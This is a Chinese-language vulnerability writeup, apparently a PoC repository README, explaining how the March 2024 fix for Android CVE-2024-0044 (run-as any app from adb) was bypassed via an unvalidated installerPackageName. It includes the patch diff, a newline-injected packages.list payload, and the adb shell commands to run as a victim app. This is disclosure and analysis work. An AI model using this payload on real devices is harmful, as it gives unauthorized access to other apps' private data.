
RunAsAnyone: PoC and writeup for bypassing the initial patch of CVE-2024-0044, Android run-as any app vulnerability allowing privilege escalation from adb to installed app
CVE-2024-0044/A-307532206 是 Android 框架中的一个高危漏洞,允许具有 adb 访问权限的攻击者以任意应用的 UID 运行任意代码。该漏洞最初由 Meta Red Team X 的 Tom Hebb 发现。你可以在互联网上找到许多关于利用此漏洞的文章,例如这篇和这篇。更多信息请查看此博客:https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html
该漏洞的补丁已包含在 2024年3月 Android 安全公告中,但现在我提出了一个绕过该补丁的利用方法。新补丁已包含在 2024年10月 Android 安全公告中,CVE ID 同为 CVE-2024-0044。安全补丁级别早于 2024-10-01 的 Android 12-13 设备容易受到此问题的影响。
此仓库包含最小可重现 PoC 和分析报告。
该补丁对传递给 PackageManagerService 的安装程序包名添加了验证:
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
import android.content.pm.PackageManager;
import android.content.pm.ParceledListSlice;
import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Binder;
@@ -601,17 +602,22 @@
// App package name and label length is restricted so that really long strings aren't
// written to disk.
- if (params.appPackageName != null
- && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
params.appPackageName = null;
}
params.appLabel = TextUtils.trimToSize(params.appLabel,
PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
- String requestedInstallerPackageName = (params.installerPackageName != null
- && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
- ? params.installerPackageName : installerPackageName;
+ // Validate installer package name.
+ if (params.installerPackageName != null && !isValidPackageName(
+ params.installerPackageName)) {
+ params.installerPackageName = null;
+ }
+
+ String requestedInstallerPackageName =
+ params.installerPackageName != null ? params.installerPackageName
+ : installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
throw new IllegalStateException("Failed to allocate session ID");
}
+ private static boolean isValidPackageName(@NonNull String packageName) {
+ if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+ return false;
+ }
+ // "android" is a valid package name
+ String errorMessage = ParsingPackageUtils.validateName(
+ packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+ if (errorMessage != null) {
+ return false;
+ }
+ return true;
+ }
+
可以看到,如果 params.installerPackageName 不是合法的 Android 包名,它将被重置为 null。然而,在下一行,当 params.installerPackageName 为 null 或无效时,requestedInstallerPackageName 可以是 installerPackageName。
那么 installerPackageName 是什么?
让我们来看看 createSessionInternal 方法,补丁就是添加在这里的:
@Override
public int createSession(SessionParams params, String installerPackageName,
String callingAttributionTag, int userId) {
try {
return createSessionInternal(params, installerPackageName, callingAttributionTag,
userId);
} catch (IOException e) {
throw ExceptionUtils.wrap(e);
}
}
private int createSessionInternal(SessionParams params, String installerPackageName,
String installerAttributionTag, int userId)
throws IOException{
}
可以看到,installerPackageName 是一个独立的参数,并非来自 param。原始补丁验证了 params.installerPackageName,但忘记验证 installerPackageName。
你可以直接使用 Tom Hebb 博客中的原始漏洞利用代码来复现。此仓库也包含最小可重现 PoC。如果你想测试我的 PoC,只需构建它,将生成的 apk 推送到 /data/local/tmp/poc.apk,然后使用 adb shell 运行以下代码:
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim
将 <victim uid> 替换为受害应用的 UID。
如果你想重新玩一遍,运行 adb uninstall top.canyie.cve_2024_0044 然后重新运行上面的代码。
问题看似很明显,它是如何逃过所有人眼睛的?
嗯,Google 确实为这个问题添加了一项测试以确保它被修复:
// Set vulnerable 'appPackageName' and 'installerPackageName'
// for 'SessionParams' instance
final String vulnPackageName =
context.getPackageName() + "\n" + context.getPackageName();
final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
params.setAppPackageName(vulnPackageName);
params.setInstallerPackageName(vulnPackageName);
final List<String> vulnerableFields = new ArrayList<String>();
runWithShellPermissionIdentity(
() -> {
// Create session using 'SessionParams' instance, get 'appPackageName' and
// 'installerPackageName' corresponding to session and abandon session later
final PackageInstaller packageInstaller =
context.getPackageManager().getPackageInstaller();
final int sessionId = packageInstaller.createSession(params);
final String vulnerableAppPackageName =
packageInstaller.getSessionInfo(sessionId).getAppPackageName();
final String vulnerableInstallerPackageName =
packageInstaller
.getSessionInfo(sessionId)
.getInstallerPackageName();
packageInstaller.abandonSession(sessionId);
// Without fix, 'appPackageName' and 'installerPackageName' does not undergo
// internal validation and are set to 'vulnPackageName' which contain '\n'
if (vulnerableAppPackageName != null
&& vulnerableAppPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.appPackageName'");
}
if (vulnerableInstallerPackageName != null
&& vulnerableInstallerPackageName.contains("\n")) {
vulnerableFields.add("'SessionParams.installerPackageName'");
}
});
String errorMessage =
"Device is vulnerable to b/307532206 !!"
+ " packages.list newline injection allows"
+ " run-as as any app from ADB"
+ " Due to : Fix is not present for ";
assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
.that(vulnerableFields)
.isEmpty();
该测试使用了公开的标准 PackageInstaller API,该 API 不允许自定义 installerPackageName。在公开 API 中,installerPackageName 始终被设置为所提供的 Context 的实际包名:
public int createSession(@NonNull SessionParams params) throws IOException {
try {
return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
mUserId);
} catch (RuntimeException e) {
ExceptionUtils.maybeUnwrapIOException(e);
throw e;
} catch (RemoteException e) {
throw e.rethrowFromSystemServer();
}
}
当调用方是第三方应用时,installerPackageName 保证属于调用方;当调用方是 adb 时,它总会被重置为 null,所以这看起来没问题:
String requestedInstallerPackageName =
params.installerPackageName != null ? params.installerPackageName
: installerPackageName;
if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
params.installFlags |= PackageManager.INSTALL_FROM_ADB;
// adb installs can override the installingPackageName, but not the
// initiatingPackageName
installerPackageName = null;
} else {
if (callingUid != Process.SYSTEM_UID) {
// The supplied installerPackageName must always belong to the calling app.
mAppOps.checkPackage(callingUid, installerPackageName);
}
// Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
// caller.
if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
!= PackageManager.PERMISSION_GRANTED) {
mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
}
}
}
然而,该操作发生在 requestedInstallerPackageName 被设置为 installerPackageName 之后,因此原始值被保留。
但如果他们运行 Tom Hebb 提供的原始 PoC,而不是编写自己的测试,他们就能发现问题,因为 pm 命令会调用带有自定义 installerPackageName 的底层 createSession 方法。
还有一个问题:既然 PoC 是公开的,为什么没有其他人发现问题?
嗯,这个漏洞已经被互联网上的许多人分析、复现和利用过,并且有京东安全实验室的何淇丹(flanker)撰写的文章(顺便说一句,这是一篇关于 CVE-2024-31317 的非常有趣的文章)指出“其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp”,然而似乎所有人都像被施了魔法一样,没有人注意到它。
事实上,有人已经在打过补丁的构建版本上成功复现了该利用,但作者似乎没有意识到发生了什么。我通过代码审查发现了它,并于 2024 年 5 月 16 日报告了它,距离原始补丁发布已经过去了 2 个月。如果在我之前的任何人肯多花几秒钟仔细查看补丁,或者只是试着在打过补丁的构建版本上运行 PoC 以确认问题是否真的被修复,那么漏洞奖金就是他们的了。这听起来像是一句中文歌词,“再多看一眼就会爆炸”。